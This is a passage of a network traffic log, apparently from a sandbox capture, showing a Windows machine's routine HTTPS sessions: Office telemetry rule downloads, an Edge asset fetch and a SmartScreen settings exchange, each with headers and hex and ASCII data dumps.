{"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-27 16:54:36 UTC	248	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:36 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-10-27 16:54:36 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:36 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165436Z-16849878b78x6gn56mgecg60qc00000005n000000000969b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:37 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:37 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:37 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165437Z-16849878b78j7llf5vkyvvcehs00000004tg00000000k2u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:37 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d5dedb48-201e-003c-4815-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165437Z-r197bdfb6b4gx6v9pg74w9f47s00000005kg000000009cuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:37 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 2dc052aa-901e-0067-6a61-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165437Z-17c5cb586f6mkpfk79wxvcahc0000000044g000000009suv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:37 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 18e0c3bd-301e-001f-11f3-24aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165437Z-17c5cb586f6mhqqb91r8trf2c800000004m00000000093gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:37 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165438Z-16849878b78sx229w7g7at4nkg00000001zg00000000ewx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49890	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:38 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165438Z-16849878b78qf2gleqhwczd21s00000003zg00000000ap14 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:38 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49891	20.25.227.174	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:38 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZVl1dllxWWp0ZC9QU3c0NzBxTzA1UT09IiwgImhhc2giOiJHeGhpcGlQaEd1MD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-27 16:54:38 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-27 16:54:38 UTC	302	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:38 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-10-27 16:54:38 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-27 16:54:38 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
